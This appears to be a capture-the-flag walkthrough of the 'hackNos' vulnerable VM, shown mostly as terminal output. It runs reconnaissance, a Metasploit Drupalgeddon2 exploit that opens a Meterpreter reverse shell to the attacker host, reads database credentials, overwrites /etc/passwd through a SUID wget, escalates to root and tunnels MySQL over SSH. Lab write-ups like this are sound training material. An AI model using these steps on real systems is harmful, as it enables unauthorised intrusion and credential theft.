# hackn0s

## netdiscover

victim ip: 10.0.2.5

4 Captured ARI	P Req/Rep packets, fr	om 4 hosts.	Total size: 240
IP	At MAC Address	Count Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1 60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1 60	Unknown vendor
10.0.2.3	08:00:27:a2:f0:ea	1 60	PCS Systemtechnik GmbH
10.0.2.5	08:00:27:70:e7:9a		PCS Systemtechnik GmbH
			,

```
nmap scan, default scripts, all ports
```

```
ot@kali:/tmp/hackin# nmap -sV -sC -p- -oA hackin hackin
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-02 00:20 EST
Nmap scan report for hackin (10.0.2.5)
Host is up (0.000086s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
                     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
 ssh-hostkey:
   2048 a5:a5:17:70:4d:be:48:ad:ba:64:c1:07:a0:55:03:ea (RSA)
   256 f2:ce:42:1c:04:b8:99:53:95:42:ab:89:22:66:9e:db (ECDSA)
   256 4a:7d:15:65:83:af:82:a3:12:02:21:1c:23:49:fb:e9 (ED25519)
80/tcp open http
                     Apache httpd 2.4.18 ((Ubuntu))
 http-server-header: Apache/2.4.18 (Ubuntu)
 http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 08:00:27:70:E7:9A (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
```

dirb scan, found drupal

```
-- Entering directory: http://hackin/drupal/includes/ -
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)
    Entering directory: http://hackin/drupal/misc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://hackin/drupal/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)
--- Entering directory: http://hackin/drupal/profiles/ --
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

    Entering directory: http://hackin/drupal/scripts/ ---

(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)
 --- Entering directory: http://hackin/drupal/sites/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)
--- Entering directory: http://hackin/drupal/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)
```

droopescan results

```
root@kali:/tmp/hackin# droopescan scan drupal -u http://hackin/drupal
[+] Themes found:
    seven http://hackin/drupal/themes/seven/
    garland http://hackin/drupal/themes/garland/

[+] Possible interesting urls found:
    Default changelog file - http://hackin/drupal/CHANGELOG.txt

[+] Possible version(s):
    7.57

[+] Plugins found:
    image http://hackin/drupal/modules/image/
    profile http://hackin/drupal/modules/profile/
    php http://hackin/drupal/modules/php/

[+] Scan finished (0:00:08.253777 elapsed)
root@kali:/tmp/hackin#
```

### version 7.57 is vulnerable to RCE

```
Description:
This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are
vulnerable.

References:
https://cvedetails.com/cve/CVE-2018-7600/
https://www.drupal.org/sa-core-2018-002
https://greysec.net/showthread.php?tid=2912
https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/a2u/CVE-2018-7600
https://github.com/nixawk/labs/issues/19
https://github.com/FireFart/CVE-2018-7600
```

Running drupalgeddon2 exploit

```
nsf5 exploit(unix/webapp/drupal_drupalgeddon2) > options
Module options (exploit/unix/webapp/drupal drupalgeddon2):
               Current Setting Required Description
  Name
  DUMP OUTPUT
                                           Dump payload command output
  PHP FUNC
               passthru
                                           PHP function to execute
                                yes
                                           A proxy chain of format type:host:port[,type:host:port][...]
               10.0.2.5
                                           The target address range or CIDR identifier
  RHOSTS
                                 yes
  RPORT
               80
                                           The target port (TCP)
                                 yes
                                           Negotiate SSL/TLS for outgoing connections
               false
  TARGETURI
               /drupal
                                           Path to Drupal install
                                 yes
  VHOST
                                           HTTP server virtual host
Payload options (php/meterpreter/reverse tcp):
  Name
         Current Setting
                          Required Description
  LHOST
         10.0.2.15
                           yes
                                     The listen address (an interface may be specified)
  LPORT
         4444
                                     The listen port
                          yes
```

### reverse shell popped

```
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Sending stage (38247 bytes) to 10.0.2.5
[*] Meterpreter session 2 opened (10.0.2.15:4444 -> 10.0.2.5:47600) at 2019-12-02 00:49:35 -0500
```

### /var/www/html/sites/default/settings.php

```
$databases = array (
   'default' =>
   array (
     'database' => 'cuppa',
     'username' => 'cuppauser',
     'password' => 'Akrn@4514',
     'host' => 'localhost',
     'port' => '',
     'driver' => 'mysql',
     'prefix' => '',
   ),
  ),
);
```

**User flag** 

```
Find suid binaries which could be exploited, wget seems to stand out
www-data@hackNos:/home/james$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/pkexec
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/wget
```

## Generate a simple password for james

root@kali:/tmp# openssl passwd -1 password
\$1\$20IP3uyk\$pviU8XspytHVFbianzqJv/

```
Save the edited password into the passwd file
```

```
root@kali:/tmp# cat passwd|grep james
james:$1$20IP3uyk$pviU8XspytHVFbianzqJv/:1000:1000:james,,,:/home/james:/bin/bash
```

### On the victim machine, confirm that the passwd file has been edited

```
www-data@hackNos:/tmp$ cat /etc/passwd | grep james
cat /etc/passwd | grep james
james:$1$20IP3uyk$pviU8XspytHVFbianzqJv/:1000:1000:james,,,:/home/james:/bin/bash
www-data@hackNos:/tmp$ |
```

### Login as james using our edited password

```
root@kali:/tmp/hackin# ssh james@hackin
james@hackin's password:
Permission denied, please try again.
james@hackin's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

* Documentation: https://help.ubuntu.com
    * Management: https://landscape.canonical.com
    * Support: https://ubuntu.com/advantage

165 packages can be updated.
93 updates are security updates.

Last login: Sat Nov 16 21:13:06 2019 from 192.168.1.18
james@hackNos:~$
```

#### james is able to run all commands as sudo

```
james@hackNos:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on hackNos:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin

User james may run the following commands on hackNos:
    (ALL : ALL) ALL
james@hackNos:~$ ■
```

Escalate privileges to root and read root.txt

```
james@hackNos:~$ sudo su
root@hackNos:/home/james# cd /root
root@hackNos:~# cat flag.txt
cat: flag.txt: No such file or directory
root@hackNos:~# ls -lah
total 36K
drwx----- 3 root root 4.0K Nov 16 21:34 .
drwxr-xr-x 22 root root 4.0K Oct 31 17:20
-rw----- 1 root root 407 Nov 16 21:34
                                          .bash history
-rw-r--r-- 1 root root 3.1K Oct 22 2015
                                          .bashrc
drwxr-xr-x 2 root root 4.0K Oct 31 17:37
                                          . nano
-rw-r--r-- 1 root root 148 Aug 17 2015
                                         .profile
-rw-r--r-- 1 root root 491 Nov 16 21:34 root.txt
-rw----- 1 root root 4.1K Nov 16 21:34
                                         .viminfo
root@hackNos:~# cat root.txt
MD5-HASH : baellce4f67af91fa58576c1da2aad4b
Author : Rahul Gehlaut
Linkedin : https://www.linkedin.com/in/rahulgehlaut/
Blog : www.hackNos.com
root@hackNos:~#
```

#### Bonus:

Forwarding a localport over ssh

root@hackNos:~# ssh tao@10.0.2.15 -R 1234:127.0.0.1:3306 The authenticity of host '10.0.2.15 (10.0.2.15)' can't be established. ECDSA key fingerprint is SHA256:MUL7lUBfESFa/cz+odtKizrDB9lKIuCAUhB0ZMvPtOY. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.0.2.15' (ECDSA) to the list of known hosts. tao@10.0.2.15's password: Linux kali 5.2.0-kali2-amd64 #1 SMP Debian 5.2.9-2kali1 (2019-08-22) x86 64 The programs included with the Kali GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/\*/copyright. Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Dec 2 02:26:56 2019 from 10.0.2.5 Able to logon to database which has been forwarded via ssh root@kali:/tmp/hackin# mysql -h 127.0.0.1 -P 1234 -u cuppauser -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 23 Server version: 5.7.27-0ubuntu0.16.04.1 (Ubuntu) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>